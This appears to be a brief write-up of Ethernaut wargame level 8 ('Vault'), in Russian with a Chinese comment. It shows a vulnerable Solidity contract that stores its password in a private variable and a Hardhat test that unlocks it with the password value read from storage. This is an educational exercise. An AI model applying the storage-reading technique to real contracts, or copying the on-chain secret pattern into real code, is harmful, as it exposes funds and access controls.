УРОВЕНЬ 8 (хранилище):
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
Требования к сдаче экзаменов
заблокирован = false
Ключевые моменты
Хранимые переменные контракта, включая приватные, видны публично.
Аналогично уровню 3
https://dev.to/bin2chen/ethernautxi-lie-level-3coinflip-521d
Решение
Посмотрите прямо на пароль и назовите
test/08Vault.js
it("attacks", async function () {
//这个值可以从chrome的console中执行来获取(虽然是private):await web3.eth.getStorageAt(instance,1)+""
await levelContract
.connect(player)
.unlock(
"0x412076657279207374726f6e67207365637265742070617373776f7264203a29"
);
});